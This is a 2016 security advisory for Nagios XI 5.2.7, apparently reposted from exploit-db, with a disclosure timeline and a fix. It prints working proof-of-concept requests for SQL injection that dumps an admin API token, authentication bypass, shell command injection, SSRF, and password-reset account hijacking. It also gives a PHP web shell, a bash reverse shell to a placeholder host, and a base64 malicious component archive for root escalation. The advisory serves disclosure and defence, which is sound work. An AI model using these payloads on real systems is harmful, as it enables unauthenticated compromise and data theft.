Nagios XI 5.2.7 – Multiple Vulnerabilities

  • 作者: Security-Assessment.com
    日期: 2016-06-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39899/
  • (, ) (,
    . '.' ) ('.',
     ). , ('. ( ) (
    (_,) .'), ) _ _,
     /_____// _\________ _____
     \____\==/ /_\\ _/ ___\/_ \ / \
     / \/ |\\\__(<_> )Y Y\
    /______/\___|__/ \___>____/|__|_|/
    \/ \/.-.\/ \/:wq
    (x.0)
    '=.|w|.='
    _=''"''=.
    
    presents..
    
    Nagios XI Multiple Vulnerabilities
    Affected versions: Nagios XI <= 5.2.7
    
    PDF:
    http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf
    
    +-----------+
    |Description|
    +-----------+
    The Nagios XI application is affected by multiple security
    vulnerabilities, including unauthenticated SQL injection and
    authentication bypass, arbitrary code execution via command injection,
    privilege escalation, server-side request forgery and account hijacking.
    
    These vulnerabilities can be chained together to obtain unauthenticated
    remote code execution as the root user.
    
    +------------+
    |Exploitation|
    +------------+
    ==SQL Injection==
    The ‘host’ and ‘service’ GET parameters in the ‘nagiosim.php’ page are
    vulnerable to SQL injection via error-based payloads. An attacker can
    exploit this vulnerability to retrieve sensitive information from the
    application’s MySQL database such as the administrative users’ password
    hash (unsalted MD5) or the token used to authenticate to the Nagios XI
    REST API. This security issue is aggravated by the fact that an attacker
    can directly browse to the vulnerable page and exploit the vulnerability
    without providing a valid session cookie.
    
    [POC - DUMP ADMIN API TOKEN]
    GET
    /nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service='+AND+
    (SELECT+1+FROM(SELECT+COUNT(*),CONCAT('|APIKEY|',(SELECT+MID((IFNULL(CAST(backend_ticket+AS
    +CHAR),0x20)),1,54)+FROM+xi_users+WHERE+user_id%3d1+LIMIT+0,1),'|APIKEY|',FLOOR(RAND(0)*2))
    x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+OR+' HTTP/1.1
    
    The API token can be reused to bypass authentication either by creating
    a user via the REST API or through the Rapid Response functionality as
    shown below.
    
    [POC- BYPASS AUTHENTICATION THROUGH RAPID RESPONSE FUNCTIONALITY]
    // uid == <user_id>-<object_id>-<MD5(api token)>, object id value
    doesn't matter
    GET /nagiosxi/rr.php?uid=1-b-<hash> HTTP/1.1
    
    ==Command Injection==
    Multiple command injection vulnerabilities exist in the Nagios XI web
    interface due to unescaped user input being passed to shell functions as
    an argument. This issues can be exploited to inject arbitrary shell
    commands and obtain remote code execution in the context of the 'apache'
    user.
    
    URL => GET
    /nagiosxi/includes/components/nagiosim/nagiosim.php?mode=update&token=<api
    token>&incident_id=<valid incident id>&title=<PAYLOAD>&status=<any value>
    PARAMETER => title
    POC PAYLOAD => title'; touch /tmp/FILE; echo '
    
    URL => GET
    /nagiosxi/includes/components/perfdata/graphApi.php?host=<any monitored
    host IP>&start=<PAYLOAD>&end=<PAYLOAD>
    PARAMETERS=> start, end
    POC PAYLOAD => 1; touch /tmp/FILE;
    
    ==Privilege Escalation==
    The Nagios XI default sudoers configuration can be abused to elevate
    privileges to root due to an insecure implementation of the
    application’s component upload functionality. The ‘apache’ user can run
    the getprofile.sh script with root privileges without being prompted for
    a password. The getprofile.sh script is part of the Profile component
    along with the following files:
    
    - profile.php, the PHP script that outputs the system information.
    - profile.inc.php, a PHP include file with required functionality for
    profile.php.
    
    An attacker can backdoor the profile.php file with a function to execute
    arbitrary shell commands (e.g. <?php system($_GET['cmd']); ?> ), replace
    the getprofile.sh file with a malicious payload (e.g. “#!/bin/bash bash
    –i >& /dev/tcp/<IP>/<PORT> 0>&1”) and finally create a ‘profile.zip’
    archive containing the malicious component files. Once uploaded, the
    application will unzip the component archive and overwrite the existing
    profile directory and its files, including getprofile.sh.
    
    [POC - MALICIOUS 'profile.zip' COMPONENT ARCHIVE]
    UEsDBBQDAAAAAD0KrEgAAAAAAAAAAAAAAAAIAAAAcHJvZmlsZS9QSwMEFAMAAAAAZQqsSAAAAAAA
    AAAAAAAAABA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m9maWxlL3Byb2Zp
    bGUvQ0hBTkdFUy50eHQKACAAAAAAAAEAGACACwGHDazRAYALAYcNrNEBAASruQ2s0QFQSwECPwMU
    AwAACAAkCqxI51eWwTkAAAA7AAAAHQAkAAAAAAAAACCA7YEkAQAAcHJvZmlsZS9wcm9maWxlL2dl
    dHByb2ZpbGUuc2gKACAAAAAAAAEAGACACwGHDazRAYALAYcNrNEBAASruQ2s0QFQSwECPwMUAwAA
    CAAkCqxI8IiRZbgEAABXCwAAHwAkAAAAAAAAACCApIGYAQAAcHJvZmlsZS9wcm9maWxlL3Byb2Zp
    bGUuaW5jLnBocAoAIAAAAAAAAQAYAIALAYcNrNEBgAsBhw2s0QEABKu5DazRAVBLAQI/AxQDAAAI
    ACQKrEiYmhdm9woAAFwcAAAbACQAAAAAAAAAIICkgY0GAABwcm9maWxlL3Byb2ZpbGUvcHJvZmls
    ZS5waHAKACAAAAAAAAEAGACACwGHDazRAYALAYcNrNEBAASruQ2s0QFQSwUGAAAAAAYABgB2AgAA
    vREAAAAA
    
    [POC - PRIVILEGE ESCALATION EXPLOITATION]
    GET /nagiosxi/includes/components/profile/profile.php?cmd=sudo
    ./getprofile.sh
    
    The default Profile component archive can be downloaded at the following
    link:
    https://assets.nagios.com/downloads/nagiosxi/components/profile.zip
    
    ==Server-Side Request Forgery==
    Multiple server-side request forgery vulnerabilities exist in the Nagios
    XI application. An attacker can provide arbitrary data to curl_exec
    calls to port scan internal services listening on localhost, read files
    on the Nagios XI server file system or send data to other hosts in the
    same internal network where the Nagios XI server is deployed.
    
    // the application filter the string 'file://' can be bypassed by
    converting the handler to uppercase
    URL => GET /nagiosxi/ajaxproxy.php?proxyurl=<PAYLOAD>
    PARAMETER => proxyurl
    POC PAYLOAD => FILE:///<path>/<file>
    
    URL => GET /nagiosxi/backend/?cmd=geturlhtml&url=<PAYLOAD>
    PARAMETER => url
    POC PAYLOAD => file:///<path>/<file>
    
    ==Account Hijacking==
    The Nagios XI application is vulnerable to an arbitrary account
    hijacking vulnerability due to an insecure implementation of the
    password reset functionality. The application does not enforce any
    verification to confirm the provided reset token can only be used to
    change the login credentials for the specific user for which it was
    generated. A limited user can therefore abuse the password reset
    functionality to hijack an administrative account by tampering with the
    ‘username’ hidden parameter during the password reset process.
    
    [POC - ACCOUNT HIJACKING 'nagiosadmin']
    POST /nagiosxi/login.php?finishresetpass&username=stduser&token-<reset
    token> HTTP/1.1
    
    token=<reset
    token>&username=nagiosadmin&password1=<PASSWORD>&password2=<PASSWORD>&reset=1
    
    +----------+
    | Solution |
    +----------+
    Upgrade to Nagios XI 5.2.8.
    
    Please note at the time of this writing the privilege escalation
    vulnerability is still unpatched. The SSRF vulnerabilities have been
    only partially fixed by blacklisting the 'file://' handler, but all the
    other SSRF attack vectors are still exploitable. Vendor stated these
    vulnerabilities will be likely patched on the next release of the
    application as they require authentication and as such are not
    considered major security issues.
    
    +------------+
    |Timeline|
    +------------+
    13/05/2016 – Initial disclosure to vendor
    14/05/2016 – Vendor confirms receipt of advisory
    25/05/2016 – Vendor provides fixes for most of the vulnerabilities
    25/05/2016 – Enquiry about the status of fixes for the unpatched
    vulnerabilities
    26/05/2016 – Vendor responded with “Since the major issues have been
    fixed and the remaining issues I'd like to touch up are only available
    if the user is logged in, or logged in as admin, I don't see a reason to
    hold onto releasing the advisory.”
    2/06/2016 – Public disclosure
    
    +------------+
    | Additional |
    +------------+
    Further information is available in the accompanying PDF.
    http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf